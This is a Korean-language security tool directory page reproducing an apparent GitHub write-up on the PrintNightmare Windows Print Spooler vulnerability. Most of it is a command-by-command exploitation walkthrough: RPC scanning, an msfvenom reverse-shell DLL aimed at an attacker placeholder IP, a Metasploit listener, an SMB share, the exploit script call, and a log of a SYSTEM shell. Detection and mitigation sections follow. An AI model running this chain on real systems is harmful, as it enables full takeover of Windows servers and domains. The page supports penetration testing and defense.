Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2021-1675-PrintNightmare-Analysis — PrintNightmare(CVE-2021-1675 / CVE-2021-34527)에 대한 기술 문서 및 분석으로, RCE/LPE 악용, Windows 이벤트 로그를 통한 탐지, Print Spooler 완화 방안을 다룹니다. | Kitploit
도구/GitHubGitHub/velessecurity/cve-2021-1675-printnightmare-analysis
Privilege EscalationReconnaissanceVulnerability AnalysisExploitationPenetration TestingPapers & ResearchLearning & EducationIncident ResponseLog Analysis

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
GitHubvelessecurity/cve-2021-1675-printnightmare-analysis

CVE-2021-1675-PrintNightmare-Analysis

PrintNightmare(CVE-2021-1675 / CVE-2021-34527)에 대한 기술 문서 및 분석으로, RCE/LPE 악용, Windows 이벤트 로그를 통한 탐지, Print Spooler 완화 방안을 다룹니다.

저장소 보기
523일 전아직 검토되지 않음

취약점 연구: Windows Print Spooler를 통한 로컬 권한 상승 및 RCE (PrintNightmare / CVE-2021-1675)

이 저장소는 Windows 인쇄 스풀러(Print Spooler) 서비스의 치명적인 취약점으로, 낮은 권한의 도메인 사용자가 최고 시스템 권한으로 원격 코드를 실행할 수 있게 하는 개념 증명(Proof of Concept) 악용에 대한 상세한 기술 보고서(Write-up)와 분석을 포함합니다.

🛑 WARNING & DISCLAIMER: 본 자료는 교육 목적 및 합법적인 보안 감사(Pentest) 수행을 위해서만 준비되었습니다. 소유자의 사전 서면 동의 없이 설명된 기술을 시스템에 사용하는 것은 법적으로 처벌받을 수 있습니다.


📌 연구의 중요성 및 배경

PrintNightmare 계열 취약점은 Windows Server 및 Active Directory 기반의 기업 환경에 심각한 위협이 됩니다. MS-RPRN(Print System Remote Protocol) 및 MS-PAR(Print System Asynchronous Remote Protocol) RPC 인터페이스의 권한 검사 아키텍처 결함으로 인해 원격 서버에 프린터 드라이버 설치를 합법적으로 요청할 수 있습니다.

가장 큰 위험은 인쇄 스풀러 서비스(spoolsv.exe)가 기본적으로 대부분의 서버(특히 도메인 컨트롤러(Domain Controllers))에서 활성화되어 있으며, 최고 권한인 NT AUTHORITY\SYSTEM 컨텍스트에서 실행된다는 점입니다. 하나의 낮은 권한 계정(예: 피싱을 통한)이 손상되면 공격자는 전체 Active Directory 인프라에 대한 완전한 제어권을 즉시 장악할 수 있습니다.


🏗 연구 아키텍처 및 스택

  • 목표: 인쇄 RPC 인터페이스를 통해 원격 Windows 호스트 제어권 획득
  • 공격 벡터: RPC Remote Driver Load → DLL Injection → SYSTEM Privileges.
  • 도구: impacket (rpcdump, smbserver), msfvenom, Metasploit Framework, Python 공격 스크립트.

📈 실전 악용 절차

1단계: 정찰 및 자격 증명 수집 (Reconnaissance)

원격 코드 실행(RCE) 벡터를 구현하려면 최소 권한을 가진 유효한 도메인 사용자 자격 증명이 필요합니다(연구 조건에서 제공됨).

  • 기본 서비스 감사: 대상 Windows 머신의 Print Spooler 서비스(spoolsv.exe)가 활성 상태이며 SYSTEM 최고 권한으로 실행 중입니다. 이는 신뢰할 수 없는 라이브러리 로드를 통해 호스트에서 로컬 권한 상승(LPE)을 수행할 수 있는 직접적인 가능성을 열어줍니다.

2단계: RPC 인터페이스 스캐닝 (Scanning)

본격적인 악용 코드를 실행하기 전에 원격 머신이 취약한 인쇄 프로토콜을 제공하고 네트워크 통신이 가능한지 확인해야 합니다. 대상 시스템의 RPC 인터페이스를 조사합니다:

root@kitploit:~
impacket-rpcdump @<TARGET_IP> | egrep 'MS-RPRN|MS-PAR'

통제된 터미널 출력:

root@kitploit:~
Protocol: [MS-RPRN], Endpoint: [\pipe\spoolss]
Protocol: [MS-PAR], Endpoint: [\pipe\spoolss]
  • 단계 통찰: 대상 호스트가 [MS-RPRN] 및 [MS-PAR] 프로토콜 문자열을 성공적으로 반환했습니다. 이는 시스템이 필요한 원격 인쇄 인터페이스를 지원하며 PrintNightmare 벡터에 취약함을 100% 확인합니다.

3단계: 페이로드 및 인프라 준비 (Weaponization)

1. 리버스 셸 악성 DLL 생성:

x64 아키텍처용 페이로드를 생성하고, 역방향 네트워크 연결을 위해 공격자 머신의 IP 주소를 지정합니다:

root@kitploit:~
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<ATTACKER_IP> LPORT=4444 -f dll -o /tmp/malicious.dll

2. Metasploit에서 백그라운드 리스너 실행:

root@kitploit:~
msfconsole -q -x "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set LHOST <ATTACKER_IP>; set LPORT 4444; run -j"

3. 로컬 SMB 공유 배포:

대상 Windows 서버가 제3자 유틸리티 없이 네트워크를 통해 우리 DLL 라이브러리를 다운로드할 수 있는 합법적인 경로를 가져야 합니다. /tmp 폴더에서 SMBv2 프로토콜을 지원하는 SMB 서버를 실행합니다:

root@kitploit:~
sudo impacket-smbserver tmp /tmp -smb2support

4단계: 악용 및 시스템 장악 (Exploitation)

Python 공격 스크립트를 실행하고, 낮은 권한의 도메인 사용자 자격 증명과 로컬 SMB 공유에 있는 악성 라이브러리의 UNC 경로를 전달합니다:

root@kitploit:~
python3 CVE-2021-1675.py <LOW_PRIV_USER>:<PASSWORD>@<TARGET_IP> '\\<ATTACKER_IP>\tmp\malicious.dll'

Metasploit 세션 탈취 성공 로그:

root@kitploit:~
[*] Started reverse TCP handler on <ATTACKER_IP>:4444 
[*] Sending stage (200574 bytes) to <TARGET_IP>
[*] Meterpreter session 1 opened (<ATTACKER_IP>:4444 -> <TARGET_IP>:49321)

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

meterpreter > shell
Process 3412 created.
Channel 1 created.
Microsoft Windows [Version 10.0.17763.1935]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32> whoami
nt authority\system
  • 결과: 공격 코드 실행 후 원격 프린터 서비스가 네트워크 공유에서 악성 드라이버를 성공적으로 로드했습니다. Metasploit에서 최고 권한 NT AUTHORITY\SYSTEM 상태의 Meterpreter 세션이 열렸습니다. 대상이 완전히 손상되었습니다.

🔍 침해 지표 및 탐지 (Detection)

Blue Team 전문가의 경우 PrintNightmare 악용 탐지는 Windows 시스템 로그 감사와 비정상적인 프로세스 활동 추적을 기반으로 합니다.

1. Windows 이벤트 모니터링 (Event Logs)

악용이 성공하면 인쇄 및 시스템 로그에 특징적인 기록이 남습니다:

  • Event ID 808 (PrintService): 프린터 모듈의 오류 또는 비정형 로드 등록. 로드되는 타사 DLL의 이름(예: C:\Windows\System32\spool\drivers\x64\3\ 경로)을 확인할 수 있습니다.
  • Event ID 7031 (System): 불안정한 악용 코드 동작으로 인해 인쇄 스풀러(Print Spooler) 서비스가 갑자기 강제로 다시 시작됨.

2. 프로세스 동작 (EDR / Sysmon)

  • 비정상적인 자식 프로세스 활동: 인쇄 스풀러 시스템 프로세스 spoolsv.exe를 부모로 하는 명령줄 프로세스(cmd.exe, powershell.exe) 또는 데이터 수집 유틸리티의 출현. 정상적인 조건에서 spoolsv.exe는 명령 셸을 생성하지 않습니다.
  • 네트워크 활동: spoolsv.exe 프로세스가 드라이버 파일을 다운로드하기 위해 외부 SMB 리소스(포트 445)로 아웃바운드 네트워크 연결을 설정합니다.

🛡 취약점 완화 권장 사항 (Mitigation)

  1. 서비스 완전 비활성화 (권장): 서버가 인쇄 기능을 수행하지 않는 경우(특히 도메인 컨트롤러), Print Spooler 서비스를 완전히 비활성화하고 Disabled 모드로 전환해야 합니다.
  2. 원격 인쇄 제한: 그룹 정책(GPO)을 통해 원격 인쇄 기능을 비활성화합니다:
    • Computer Configuration -> Administrative Templates -> Printers -> Allow Print Spooler to accept client connections (Disabled).
  3. 업데이트 설치: 인쇄 하위 시스템의 원격 코드 실행 취약점을 해결하기 위해 공식 Microsoft 보안 업데이트(KB)를 적시에 적용합니다.

🔗 유용한 링크 및 자료

  • CVE 데이터베이스: NIST NVD - CVE-2021-1675 | NIST NVD - CVE-2021-34527
  • 분석 기사: Microsoft Security Update Advisory
도구 다운로드